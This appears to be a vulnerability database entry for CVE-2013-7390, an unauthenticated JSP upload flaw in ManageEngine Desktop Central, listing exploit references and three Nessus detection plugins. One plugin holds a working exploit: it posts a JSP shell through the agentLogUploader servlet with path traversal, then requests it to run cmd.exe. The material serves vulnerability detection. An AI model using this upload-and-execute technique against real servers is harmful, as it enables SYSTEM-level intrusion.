Vulnerabilities > CVE-2013-7390 - Unrestricted Upload of File with Dangerous Type vulnerability in Zohocorp Manageengine Desktop Central 7.0.0/7.0.1/8.0.0

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
zohocorp
CWE-434
nessus
exploit available
metasploit

Summary

Unrestricted file upload vulnerability in AgentLogUploadServlet in ManageEngine DesktopCentral 7.x and 8.0.0 before build 80293 allows remote attackers to execute arbitrary code by uploading a file with a jsp extension, then accessing it via a direct request to the file in the webroot.

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Accessing Functionality Not Properly Constrained by ACLs
    In applications, particularly web applications, access to functionality is mitigated by the authorization framework, whose job it is to map ACLs to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application or can run queries for data that he is otherwise not supposed to.
  • Privilege Abuse
    An adversary is able to exploit features of the target that should be reserved for privileged users or administrators but are exposed to use by lower or non-privileged accounts. Access to sensitive information and functionality must be controlled to ensure that only authorized users are able to access these resources. If access control mechanisms are absent or misconfigured, a user may be able to access resources that are intended only for higher level users. An adversary may be able to exploit this to utilize a less trusted account to gain information and perform activities reserved for more trusted accounts. This attack differs from privilege escalation and other privilege stealing attacks in that the adversary never actually escalates their privileges but instead is able to use a lesser degree of privilege to access resources that should be (but are not) reserved for higher privilege accounts. Likewise, the adversary does not exploit trust or subvert systems - all control functionality is working as configured but the configuration does not adequately protect sensitive resources at an appropriate level.

Exploit-Db

  • descriptionManageEngine Desktop Central - Arbitrary File Upload / RCE. CVE-2013-7390,CVE-2014-5005,CVE-2014-5006,CVE-2014-5007. Webapps exploit for jsp platform
    idEDB-ID:34518
    last seen2016-02-03
    modified2014-09-01
    published2014-09-01
    reporterPedro Ribeiro
    sourcehttps://www.exploit-db.com/download/34518/
    titleManageEngine Desktop Central - Arbitrary File Upload / RCE
  • descriptionManageEngine DesktopCentral 8.0.0 build < 80293 - Arbitrary File Upload Vulnerability. CVE-2013-7390,CVE-2014-5007. Webapps exploit for jsp platform
    idEDB-ID:29674
    last seen2016-02-03
    modified2013-11-18
    published2013-11-18
    reporterSecurity-Assessment.com
    sourcehttps://www.exploit-db.com/download/29674/
    titleManageEngine DesktopCentral 8.0.0 build < 80293 - Arbitrary File Upload Vulnerability
  • descriptionDesktopCentral AgentLogUpload Arbitrary File Upload. CVE-2013-7390,CVE-2014-5007. Remote exploit for windows platform
    idEDB-ID:29812
    last seen2016-02-03
    modified2013-11-25
    published2013-11-25
    reportermetasploit
    sourcehttps://www.exploit-db.com/download/29812/
    titleDesktopCentral AgentLogUpload Arbitrary File Upload

Metasploit

descriptionThis module exploits an arbitrary file upload vulnerability in Desktop Central v7 to v8 build 80293. A malicious user can upload a JSP file into the web root without authentication, leading to arbitrary code execution as SYSTEM.
idMSF:EXPLOIT/WINDOWS/HTTP/DESKTOPCENTRAL_FILE_UPLOAD
last seen2020-06-07
modified2018-09-15
published2013-11-18
references
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/http/desktopcentral_file_upload.rb
titleManageEngine Desktop Central AgentLogUpload Arbitrary File Upload

Nessus

  • NASL familyCGI abuses
    NASL idMANAGEENGINE_DESKTOP_CENTRAL_90055_RCE_SAFE.NASL
    descriptionThe version of ManageEngine Desktop Central running on the remote host is affected by the following file upload vulnerabilities that allow the execution of arbitrary code by a remote attacker : - A failure to validate the
    last seen2020-06-01
    modified2020-06-02
    plugin id82079
    published2015-03-25
    reporterThis script is Copyright (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/82079
    titleManageEngine Desktop Central Arbitrary File Upload and RCE (Safe Check)
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(82079);
      script_version("1.7");
      script_cvs_date("Date: 2019/11/22");
    
      script_cve_id("CVE-2014-5005", "CVE-2014-5006", "CVE-2014-5007");
      script_bugtraq_id(69491, 69493, 69494);
      script_xref(name:"EDB-ID", value:"34594");
    
      script_name(english:"ManageEngine Desktop Central Arbitrary File Upload and RCE (Safe Check)");
      script_summary(english:"Checks the version of ManageEngine Desktop Central.");
    
      script_set_attribute(attribute:"synopsis", value:
    "The remote web server contains a Java web application that is affected
    by remote code execution vulnerabilities.");
      script_set_attribute(attribute:"description", value:
    "The version of ManageEngine Desktop Central running on the remote host
    is affected by the following file upload vulnerabilities that allow
    the execution of arbitrary code by a remote attacker :
    
      - A failure to validate the 'filename' parameter of the
        'statusUpdate' servlet when performing a 'LFU' action.
        (CVE-2014-5005)
    
      - A failure to validate the 'filename' parameter of the
        'mdmLogUploader' servlet. (CVE-2014-5006)
    
      - A failure to validate the 'filename' parameter of the
        'agentLogUploader' servlet. This flaw was previously
        identified by CVE-2013-7390 and reported as fixed in
        version 8 build 80293; however, the fix was incomplete,
        and a method for bypassing it was discovered and
        re-reported. (CVE-2014-5007)");
      script_set_attribute(attribute:"see_also", value:"https://www.zerodayinitiative.com/advisories/ZDI-15-006/");
      script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2014/Aug/88");
      script_set_attribute(attribute:"solution", value:
    "Upgrade to ManageEngine Desktop Central 9 build 90055 or later.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
      script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:ND");
      script_set_attribute(attribute:"cvss_score_source", value:"CVE-2014-5006");
    
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"d2_elliot_name", value:"ManageEngine Desktop Central 9.0.0 File Upload");
      script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
      script_set_attribute(attribute:"metasploit_name", value:'ManageEngine Desktop Central StatusUpdate Arbitrary File Upload');
      script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2014/08/31");
      script_set_attribute(attribute:"patch_publication_date", value:"2014/08/08");
      script_set_attribute(attribute:"plugin_publication_date", value:"2015/03/25");
    
      script_set_attribute(attribute:"plugin_type", value:"remote");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:zohocorp:manageengine_desktop_central");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_family(english:"CGI abuses");
    
      script_copyright(english:"This script is Copyright (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("manageengine_desktop_central_detect.nbin");
      script_require_keys("installed_sw/ManageEngine Desktop Central");
      script_require_ports("Services/www", 8020, 8383, 8040);
    
      exit(0);
    }
    
    include("audit.inc");
    include("global_settings.inc");
    include("misc_func.inc");
    include("http.inc");
    include("webapp_func.inc");
    
    appname = "ManageEngine Desktop Central";
    get_install_count(app_name:appname, exit_if_zero:TRUE);
    
    port = get_http_port(default:8020);
    
    install = get_single_install(
      app_name            : appname,
      port                : port,
      exit_if_unknown_ver : TRUE
    );
    
    dir = install["path"];
    version = install["version"];
    build   = install["build"];
    ismsp   = install["MSP"];
    rep_version = version;
    if(build !=  UNKNOWN_VER)
      rep_version += " Build "+build;
    install_url =  build_url(port:port, qs:dir);
    
    # 7 - 9 build 90055
    if (version !~ "^[7-9](\.|$)")
      audit(AUDIT_WEB_APP_NOT_AFFECTED, appname, install_url, rep_version);
    
    if (version =~ "^9(\.|$)" && build == UNKNOWN_VER)
      exit(0, "The build number of "+appname+" version " +rep_version+ " listening at " +install_url+ " could not be determined.");
    
    if (int(build) < 90055)
    {
      if (report_verbosity > 0)
      {
        report =
          '\n  URL               : ' + install_url +
          '\n  Installed version : ' + rep_version +
          '\n  Fixed version     : 9 Build 90055' +
          '\n';
        security_hole(port:port, extra:report);
      }
      else security_hole(port);
      exit(0);
    }
    else audit(AUDIT_WEB_APP_NOT_AFFECTED, appname, install_url, rep_version);
    
  • NASL familyCGI abuses
    NASL idMANAGEENGINE_DESKTOP_CENTRAL_BUILD_80292_FILE_UPLOAD.NASL
    descriptionThe version of ManageEngine Desktop Central installed on the remote host is affected by an arbitrary file upload vulnerability due to the
    last seen2020-06-01
    modified2020-06-02
    plugin id71218
    published2013-12-04
    reporterThis script is Copyright (C) 2013-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/71218
    titleManageEngine Desktop Central AgentLogUploadServlet Arbitrary File Upload
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(71218);
      script_version("1.11");
      script_cvs_date("Date: 2019/11/27");
    
      script_cve_id("CVE-2013-7390");
      script_bugtraq_id(63784);
      script_xref(name:"EDB-ID", value:"29674");
      script_xref(name:"EDB-ID", value:"29812");
    
      script_name(english:"ManageEngine Desktop Central AgentLogUploadServlet Arbitrary File Upload");
      script_summary(english:"Checks the build number of Desktop Central.");
    
      script_set_attribute(attribute:"synopsis", value:
    "The remote web server contains a Java web application that allows for
    arbitrary file uploads.");
      script_set_attribute(attribute:"description", value:
    "The version of ManageEngine Desktop Central installed on the remote
    host is affected by an arbitrary file upload vulnerability due to the
    'AgentLogUploadServlet' script not properly sanitizing user-supplied
    input to the 'filename' parameter. A remote, unauthenticated attacker
    can exploit this issue to upload files containing arbitrary code and
    then execute them on the remote host with NT-AUTHORITY\SYSTEM
    privileges.
    
    Note that Nessus has not tested for this issue but has instead relied
    only on the application's self-reported version number.");
      # http://security-assessment.com/files/documents/advisory/DesktopCentral%20Arbitrary%20File%20Upload.pdf
      script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?f57da24d");
      script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2013/Nov/130");
      script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2013/Nov/152");
      script_set_attribute(attribute:"solution", value:
    "Upgrade to ManageEngine Desktop Central 8.0.0 build 80293 or later.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
      script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:ND");
    
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"metasploit_name", value:'ManageEngine Desktop Central AgentLogUpload Arbitrary File Upload');
      script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2013/11/18");
      script_set_attribute(attribute:"patch_publication_date", value:"2013/10/30");
      script_set_attribute(attribute:"plugin_publication_date", value:"2013/12/04");
    
      script_set_attribute(attribute:"plugin_type", value:"remote");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:zohocorp:manageengine_desktop_central");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_family(english:"CGI abuses");
    
      script_copyright(english:"This script is Copyright (C) 2013-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("manageengine_desktop_central_detect.nbin");
      script_require_keys("installed_sw/ManageEngine Desktop Central");
      script_require_ports("Services/www", 8020, 8383);
    
      exit(0);
    }
    
    include("audit.inc");
    include("global_settings.inc");
    include("misc_func.inc");
    include("http.inc");
    include("webapp_func.inc");
    
    appname = "ManageEngine Desktop Central";
    get_install_count(app_name:appname, exit_if_zero:TRUE);
    
    port = get_http_port(default:8020);
    
    install = get_single_install(
      app_name            : appname,
      port                : port,
      exit_if_unknown_ver : TRUE
    );
    
    dir = install["path"];
    version = install["version"];
    build   = install["build"];
    ismsp   = install["MSP"];
    rep_version = version;
    if(build !=  UNKNOWN_VER)
      rep_version += " Build "+build;
    install_url =  build_url(port:port, qs:dir);
    
    if(ismsp)
      exit(0, "The Managed Service Providers edition of Desktop Central is not known to be affected.");
    
    if (version =~ "^8(\.|$)" && build == UNKNOWN_VER)  exit(0, "The build number of "+appname+" version " +rep_version+ " listening at " +install_url+ " could not be determined.");
    
    if (version =~ "^8(\.|$)" && int(build) < 80293)
    {
      if (report_verbosity > 0)
      {
        report =
          '\n  URL               : ' + install_url +
          '\n  Installed version : ' + rep_version +
          '\n  Fixed version     : 8 Build 80293' +
          '\n';
        security_hole(port:port, extra:report);
      }
      else security_hole(port);
      exit(0);
    }
    else audit(AUDIT_WEB_APP_NOT_AFFECTED, appname, install_url, rep_version);
    
  • NASL familyCGI abuses
    NASL idMANAGEENGINE_DESKTOP_CENTRAL_AGENTLOGUPLOADSERVLET_FILE_UPLOAD.NASL
    descriptionThe version of ManageEngine Desktop Central running on the remote host is affected by a remote code execution vulnerability due to a failure by the AgentLogUploadServlet script to properly sanitize user-supplied input to the
    last seen2020-06-01
    modified2020-06-02
    plugin id71217
    published2013-12-04
    reporterThis script is Copyright (C) 2013-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/71217
    titleManageEngine Desktop Central AgentLogUploadServlet Arbitrary File Upload RCE (intrusive check)
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(71217);
      script_version("1.12");
      script_cvs_date("Date: 2019/11/27");
    
      script_cve_id("CVE-2013-7390");
      script_bugtraq_id(63784);
      script_xref(name:"EDB-ID", value:"29674");
      script_xref(name:"EDB-ID", value:"29812");
      script_xref(name:"EDB-ID", value:"34518");
    
      script_name(english:"ManageEngine Desktop Central AgentLogUploadServlet Arbitrary File Upload RCE (intrusive check)");
      script_summary(english:"Uploads a file to execute arbitrary code.");
    
      script_set_attribute(attribute:"synopsis", value:
    "The remote web server contains a Java-based web application that is
    affected by a remote code execution vulnerability.");
      script_set_attribute(attribute:"description", value:
    "The version of ManageEngine Desktop Central running on the remote host
    is affected by a remote code execution vulnerability due to a failure
    by the AgentLogUploadServlet script to properly sanitize user-supplied
    input to the 'fileName' parameter. A remote, unauthenticated attacker
    can exploit this to upload to the remote host files containing
    arbitrary code and then execute them with NT-AUTHORITY\SYSTEM
    privileges.
    
    Note that this plugin tries to upload a JSP file to <DocumentRoot>
    (i.e., C:\ManageEngine\DesktopCentral_Server\webapps\DesktopCentral\)
    and then fetch it, thus executing the Java code in the JSP file. The
    plugin attempts to delete the JSP file after a successful upload and
    fetch. The user is advised to delete the JSP file if Nessus fails to
    delete it.");
      # http://security-assessment.com/files/documents/advisory/DesktopCentral%20Arbitrary%20File%20Upload.pdf
      script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?f57da24d");
      script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2013/Nov/130");
      script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2013/Nov/152");
      script_set_attribute(attribute:"solution", value:
    "Upgrade to ManageEngine Desktop Central 8 build 80293 or later.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
      script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:ND");
    
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"exploited_by_nessus", value:"true");
      script_set_attribute(attribute:"metasploit_name", value:'ManageEngine Desktop Central AgentLogUpload Arbitrary File Upload');
      script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2013/11/09");
      script_set_attribute(attribute:"patch_publication_date", value:"2013/10/30");
      script_set_attribute(attribute:"plugin_publication_date", value:"2013/12/04");
    
      script_set_attribute(attribute:"plugin_type", value:"remote");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:zohocorp:manageengine_desktop_central");
      script_end_attributes();
    
      script_category(ACT_DESTRUCTIVE_ATTACK);
      script_family(english:"CGI abuses");
    
      script_copyright(english:"This script is Copyright (C) 2013-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("manageengine_desktop_central_detect.nbin", "os_fingerprint.nasl");
      script_require_keys("installed_sw/ManageEngine Desktop Central");
      script_require_ports("Services/www", 8020, 8383, 8040);
    
      exit(0);
    }
    
    include("audit.inc");
    include("global_settings.inc");
    include("misc_func.inc");
    include("http.inc");
    include("webapp_func.inc");
    
    # ManageEngine Desktop Central (MEDC) server is known to be installed
    # on Windows only.
    # Skip non-Windows targets, but will continue if OS is not determined
    os = get_kb_item("Host/OS");
    if(os && "windows" >!< tolower(os))
      audit(AUDIT_OS_NOT, "Windows");
    
    appname = "ManageEngine Desktop Central";
    get_install_count(app_name:appname, exit_if_zero:TRUE);
    
    port = get_http_port(default:8020);
    
    install = get_single_install(
      app_name            : appname,
      port                : port
    );
    
    dir = install["path"];
    install_url =  build_url(port:port, qs:dir);
    
    file = SCRIPT_NAME - ".nasl" + '-' + port + ".jsp";
    
    postdata =
      '<%@ page import="java.io.*" %>\n' +
      '<%\n' +
      'String output = "";\n' +
      'String s = null;\n' +
      '  try {\n' +
      '     Process p = Runtime.getRuntime().exec("cmd.exe /C ipconfig /all && del ..\\\\webapps\\\\DesktopCentral\\\\' + file + '");\n' +
      '      BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));\n' +
             'while((s = sI.readLine()) != null) {\n' +
             '  output += "\\n"+ s;\n' +
             '}\n' +
          '}\n' +
          'catch(IOException e) {\n' +
          '   e.printStackTrace();\n' +
          '}\n' +
      '%>\n' +
      '\n' +
      '<pre>\n <%=output %>\n </pre>\n';
    
    
    url = dir + "/agentLogUploader?computerName=DesktopCentral&domainName=webapps&customerId=..&filename=" + file;
    
    res = http_send_recv3(
      port            : port,
      method          : "POST",
      item            : url,
      data            : postdata,
      content_type    : "text/html",
      exit_on_fail    : TRUE
    );
    
    # Vulnerable server should return 200
    if(res[0] !~ "^HTTP/[0-9.]+ 200")
    {
      # Patched server returns 403
      if (res[0] =~ "^HTTP/[0-9.]+ 403")
      {
        audit(AUDIT_WEB_APP_NOT_AFFECTED, "ManageEngine Desktop Central", install_url);
      }
      # Unexpected
      else
      {
        audit(AUDIT_RESP_BAD, port, 'an agent log upload message, return HTTP status: ' + res[0]);
      }
    }
    req1 = http_last_sent_request();
    
    # Try and access our uploaded file
    res2 = http_send_recv3(
      method : "GET",
      port   : port,
      item   : dir + "/" + file,
      exit_on_fail : TRUE
    );
    
    req2 = http_last_sent_request();
    
    if ("Subnet Mask" >< res2[2])
    {
      security_report_v4(
        port       : port,
        severity   : SECURITY_HOLE,
        request    : make_list(req1,req2),
        output     : res2[2],
        generic    : TRUE
      );
    }
    else audit(AUDIT_WEB_APP_NOT_AFFECTED, "ManageEngine Desktop Central", install_url);
    

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/128108/managedc-exec.txt
idPACKETSTORM:128108
last seen2016-12-05
published2014-08-31
reporterPedro Ribeiro
sourcehttps://packetstormsecurity.com/files/128108/ManageEngine-Desktop-Central-Remote-Shell-Upload.html
titleManageEngine Desktop Central Remote Shell Upload

Seebug

bulletinFamilyexploit
descriptionNo description provided by source.
idSSV:87216
last seen2017-11-19
modified2014-09-04
published2014-09-04
reporterRoot
sourcehttps://www.seebug.org/vuldb/ssvid-87216
titleManageEngine Desktop Central - Arbitrary File Upload / RCE